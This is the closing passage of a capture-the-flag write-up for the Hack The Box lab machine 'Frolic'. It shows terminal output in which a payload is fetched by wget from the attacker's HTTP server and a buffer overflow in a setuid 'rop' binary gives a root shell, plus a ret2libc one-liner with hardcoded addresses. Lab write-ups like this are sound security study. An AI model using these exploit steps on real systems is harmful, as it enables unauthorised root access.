exploit.py  msf      rockyou.txt  zipfile.zip
index.php   payload  rop

λ root [ 10.10.14.48/23 ] [ech0/_HTB/Frolic] → python2 -m SimpleHTTPServer 9001
Serving HTTP on 0.0.0.0 port 9001 ...
10.10.10.111 - - [05/Dec/2019 12:40:58] "GET /payload HTTP/1.1" 200 -
$wget http://10.10.14.48:9001/payload
--2019-12-05 12:42:22--  http://10.10.14.48:9001/payload
Connecting to 10.10.14.48:9001... connected.
HTTP request sent, awaiting response... 200 OK
Length: 0 [application/octet-stream]
Saving to: ‘payload.1’

payload.1                        [ <=>                                           ]       0  --.-KB/s    in 0s

2019-12-05 12:40:58 (0.00 B/s) - ‘payload.1’ saved

$ /home/ayush/.binary/rop $(cat payload.1)
/home/ayush/.binary/rop $(cat payload.1)

# cat /root/root.txt
cat root.txt
85XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

And that's it ! we have been able to print out the root flag.

Another even quicker way to get the root flag is to pass the addresses of SYSTEM, exit and /bin/sh directly to the rop binary itself.


$ ./rop $(python -c 'print("a"*52 + "\xa0\x3d\xe5\xb7" + "\xd0\x79\xe4\xb7" + "\x0b\x4a\xf7\xb7")')
./rop $(python -c 'print("a"*52 + "\xa0\x3d\xe5\xb7" + "\xd0\x79\xe4\xb7" + "\x0b\x4a\xf7\xb7")')

# whoami
whoami
root

# cat /root/root.txt
cat /root/root.txt
85XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

Conclusion



Here we can see the progress graph :